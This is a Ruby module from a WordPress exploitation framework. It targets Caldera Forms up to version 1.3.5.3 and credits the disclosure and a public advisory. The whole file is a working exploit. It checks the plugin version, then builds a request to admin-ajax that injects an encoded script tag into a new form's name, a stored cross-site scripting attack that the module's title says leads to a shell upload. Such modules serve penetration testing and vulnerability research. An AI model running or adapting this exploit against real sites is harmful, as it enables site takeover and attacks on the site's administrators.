# frozen_string_literal: true

class Wpxf::Exploit::CalderaFormsStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Caldera Forms <= 1.3.5.3 Stored XSS Shell Upload',
      author: [
        'Jurgen Kloosterman', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8650'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_caldera_forms_wordpress_plugin.html']
      ],
      date: 'Nov 08 2016'
    )
  end

  def check
    check_plugin_version_from_readme('caldera-forms', '1.3.5.4')
  end

  def initial_script
    create_basic_post_script(
      wordpress_url_admin_ajax,
      'before'          => 'serialize_modal_form',
      'data'            => "name=%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E",
      'template'        => '0',
      'callback'        => 'new_form_redirect',
      'modalAutoclose'  => 'new_form',
      'action'          => 'create_form'
    )
  end
end
